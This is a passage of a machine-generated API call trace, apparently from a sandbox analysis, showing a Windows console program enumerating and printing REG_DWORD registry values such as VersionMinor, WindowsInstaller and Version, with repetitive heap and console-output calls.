[0147.605] __iob_func () returned 0x7fefd702a80 [0147.605] _fileno (_File=0x7fefd702ab0) returned 1 [0147.605] _errno () returned 0xc4bb0 [0147.605] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.605] _errno () returned 0xc4bb0 [0147.605] GetFileType (hFile=0x50) returned 0x1 [0147.605] lstrlenW (lpString="\n") returned 1 [0147.605] GetConsoleOutputCP () returned 0x1b5 [0147.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.605] GetConsoleOutputCP () returned 0x1b5 [0147.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.605] GetProcessHeap () returned 0x2e0000 [0147.605] GetProcessHeap () returned 0x2e0000 [0147.606] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.606] GetProcessHeap () returned 0x2e0000 [0147.606] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.606] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.606] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.606] GetProcessHeap () returned 0x2e0000 [0147.606] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.606] GetProcessHeap () returned 0x2e0000 [0147.606] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.606] GetProcessHeap () returned 0x2e0000 [0147.606] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.606] __iob_func () returned 0x7fefd702a80 [0147.606] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.606] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.606] _fileno (_File=0x7fefd702ab0) returned 1 [0147.606] _errno () returned 0xc4bb0 [0147.606] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.606] _errno () returned 0xc4bb0 [0147.606] GetFileType (hFile=0x50) returned 0x1 [0147.606] lstrlenW (lpString=" ") returned 4 [0147.606] GetConsoleOutputCP () returned 0x1b5 [0147.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.606] GetConsoleOutputCP () returned 0x1b5 [0147.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.606] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.607] lstrlenW (lpString="VersionMinor") returned 12 [0147.607] __iob_func () returned 0x7fefd702a80 [0147.607] _fileno (_File=0x7fefd702ab0) returned 1 [0147.607] _errno () returned 0xc4bb0 [0147.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.607] _errno () returned 0xc4bb0 [0147.607] GetFileType (hFile=0x50) returned 0x1 [0147.607] lstrlenW (lpString="VersionMinor") returned 12 [0147.607] GetConsoleOutputCP () returned 0x1b5 [0147.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.607] GetConsoleOutputCP () returned 0x1b5 [0147.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.607] __iob_func () returned 0x7fefd702a80 [0147.607] _fileno (_File=0x7fefd702ab0) returned 1 [0147.607] _errno () returned 0xc4bb0 [0147.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.607] _errno () returned 0xc4bb0 [0147.607] GetFileType (hFile=0x50) returned 0x1 [0147.607] lstrlenW (lpString=" ") returned 4 [0147.607] GetConsoleOutputCP () returned 0x1b5 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.608] GetConsoleOutputCP () returned 0x1b5 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.608] __iob_func () returned 0x7fefd702a80 [0147.608] _fileno (_File=0x7fefd702ab0) returned 1 [0147.608] _errno () returned 0xc4bb0 [0147.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.608] _errno () returned 0xc4bb0 [0147.608] GetFileType (hFile=0x50) returned 0x1 [0147.608] lstrlenW (lpString="REG_DWORD") returned 9 [0147.608] GetConsoleOutputCP () returned 0x1b5 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.608] GetConsoleOutputCP () returned 0x1b5 [0147.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.608] __iob_func () returned 0x7fefd702a80 [0147.608] _fileno (_File=0x7fefd702ab0) returned 1 [0147.608] _errno () returned 0xc4bb0 [0147.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.608] _errno () returned 0xc4bb0 [0147.609] GetFileType (hFile=0x50) returned 0x1 [0147.609] lstrlenW (lpString=" ") returned 4 [0147.609] GetConsoleOutputCP () returned 0x1b5 [0147.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.609] GetConsoleOutputCP () returned 0x1b5 [0147.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.609] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.609] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.609] __iob_func () returned 0x7fefd702a80 [0147.609] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.609] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.609] _fileno (_File=0x7fefd702ab0) returned 1 [0147.609] _errno () returned 0xc4bb0 [0147.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.609] _errno () returned 0xc4bb0 [0147.609] GetFileType (hFile=0x50) returned 0x1 [0147.609] lstrlenW (lpString="0x0") returned 3 [0147.609] GetConsoleOutputCP () returned 0x1b5 [0147.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.609] GetConsoleOutputCP () returned 0x1b5 [0147.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.610] __iob_func () returned 0x7fefd702a80 [0147.610] _fileno (_File=0x7fefd702ab0) returned 1 [0147.610] _errno () returned 0xc4bb0 [0147.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.610] _errno () returned 0xc4bb0 [0147.610] GetFileType (hFile=0x50) returned 0x1 [0147.610] lstrlenW (lpString="\n") returned 1 [0147.610] GetConsoleOutputCP () returned 0x1b5 [0147.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.610] GetConsoleOutputCP () returned 0x1b5 [0147.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.610] GetProcessHeap () returned 0x2e0000 [0147.610] GetProcessHeap () returned 0x2e0000 [0147.610] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.610] GetProcessHeap () returned 0x2e0000 [0147.610] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.610] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.610] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.610] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.611] GetProcessHeap () returned 0x2e0000 [0147.611] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.611] GetProcessHeap () returned 0x2e0000 [0147.611] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.611] GetProcessHeap () returned 0x2e0000 [0147.611] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.611] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.611] __iob_func () returned 0x7fefd702a80 [0147.611] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.611] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.611] _fileno (_File=0x7fefd702ab0) returned 1 [0147.611] _errno () returned 0xc4bb0 [0147.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.611] _errno () returned 0xc4bb0 [0147.611] GetFileType (hFile=0x50) returned 0x1 [0147.611] lstrlenW (lpString=" ") returned 4 [0147.611] GetConsoleOutputCP () returned 0x1b5 [0147.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.611] GetConsoleOutputCP () returned 0x1b5 [0147.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.611] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.611] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.611] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.611] __iob_func () returned 0x7fefd702a80 [0147.611] _fileno (_File=0x7fefd702ab0) returned 1 [0147.611] _errno () returned 0xc4bb0 [0147.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.611] _errno () returned 0xc4bb0 [0147.612] GetFileType (hFile=0x50) returned 0x1 [0147.612] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.612] GetConsoleOutputCP () returned 0x1b5 [0147.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.612] GetConsoleOutputCP () returned 0x1b5 [0147.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.612] __iob_func () returned 0x7fefd702a80 [0147.612] _fileno (_File=0x7fefd702ab0) returned 1 [0147.612] _errno () returned 0xc4bb0 [0147.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.612] _errno () returned 0xc4bb0 [0147.612] GetFileType (hFile=0x50) returned 0x1 [0147.612] lstrlenW (lpString=" ") returned 4 [0147.612] GetConsoleOutputCP () returned 0x1b5 [0147.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.612] GetConsoleOutputCP () returned 0x1b5 [0147.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.613] __iob_func () returned 0x7fefd702a80 [0147.613] _fileno (_File=0x7fefd702ab0) returned 1 [0147.613] _errno () returned 0xc4bb0 [0147.613] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.613] _errno () returned 0xc4bb0 [0147.613] GetFileType (hFile=0x50) returned 0x1 [0147.613] lstrlenW (lpString="REG_DWORD") returned 9 [0147.613] GetConsoleOutputCP () returned 0x1b5 [0147.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.613] GetConsoleOutputCP () returned 0x1b5 [0147.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.613] __iob_func () returned 0x7fefd702a80 [0147.613] _fileno (_File=0x7fefd702ab0) returned 1 [0147.613] _errno () returned 0xc4bb0 [0147.613] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.613] _errno () returned 0xc4bb0 [0147.613] GetFileType (hFile=0x50) returned 0x1 [0147.613] lstrlenW (lpString=" ") returned 4 [0147.613] GetConsoleOutputCP () returned 0x1b5 [0147.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.614] GetConsoleOutputCP () returned 0x1b5 [0147.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.614] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.614] __iob_func () returned 0x7fefd702a80 [0147.614] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.614] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.614] _fileno (_File=0x7fefd702ab0) returned 1 [0147.614] _errno () returned 0xc4bb0 [0147.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.614] _errno () returned 0xc4bb0 [0147.614] GetFileType (hFile=0x50) returned 0x1 [0147.614] lstrlenW (lpString="0x1") returned 3 [0147.614] GetConsoleOutputCP () returned 0x1b5 [0147.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.614] GetConsoleOutputCP () returned 0x1b5 [0147.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.614] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.615] __iob_func () returned 0x7fefd702a80 [0147.615] _fileno (_File=0x7fefd702ab0) returned 1 [0147.615] _errno () returned 0xc4bb0 [0147.615] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.615] _errno () returned 0xc4bb0 [0147.615] GetFileType (hFile=0x50) returned 0x1 [0147.615] lstrlenW (lpString="\n") returned 1 [0147.615] GetConsoleOutputCP () returned 0x1b5 [0147.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.615] GetConsoleOutputCP () returned 0x1b5 [0147.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.615] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.615] GetProcessHeap () returned 0x2e0000 [0147.616] GetProcessHeap () returned 0x2e0000 [0147.616] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.616] GetProcessHeap () returned 0x2e0000 [0147.616] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.616] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.616] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.616] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.616] GetProcessHeap () returned 0x2e0000 [0147.616] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.616] GetProcessHeap () returned 0x2e0000 [0147.616] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.616] GetProcessHeap () returned 0x2e0000 [0147.616] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.616] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x100020ef, pcbData=0x23f670*=0x4) returned 0x0 [0147.616] __iob_func () returned 0x7fefd702a80 [0147.616] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.616] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.616] _fileno (_File=0x7fefd702ab0) returned 1 [0147.616] _errno () returned 0xc4bb0 [0147.616] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.616] _errno () returned 0xc4bb0 [0147.616] GetFileType (hFile=0x50) returned 0x1 [0147.616] lstrlenW (lpString=" ") returned 4 [0147.616] GetConsoleOutputCP () returned 0x1b5 [0147.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.616] GetConsoleOutputCP () returned 0x1b5 [0147.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.617] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.617] lstrlenW (lpString="Version") returned 7 [0147.617] __iob_func () returned 0x7fefd702a80 [0147.617] _fileno (_File=0x7fefd702ab0) returned 1 [0147.617] _errno () returned 0xc4bb0 [0147.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.617] _errno () returned 0xc4bb0 [0147.617] GetFileType (hFile=0x50) returned 0x1 [0147.617] lstrlenW (lpString="Version") returned 7 [0147.617] GetConsoleOutputCP () returned 0x1b5 [0147.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.617] GetConsoleOutputCP () returned 0x1b5 [0147.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0147.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.617] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.617] __iob_func () returned 0x7fefd702a80 [0147.617] _fileno (_File=0x7fefd702ab0) returned 1 [0147.617] _errno () returned 0xc4bb0 [0147.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.617] _errno () returned 0xc4bb0 [0147.618] GetFileType (hFile=0x50) returned 0x1 [0147.618] lstrlenW (lpString=" ") returned 4 [0147.618] GetConsoleOutputCP () returned 0x1b5 [0147.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", 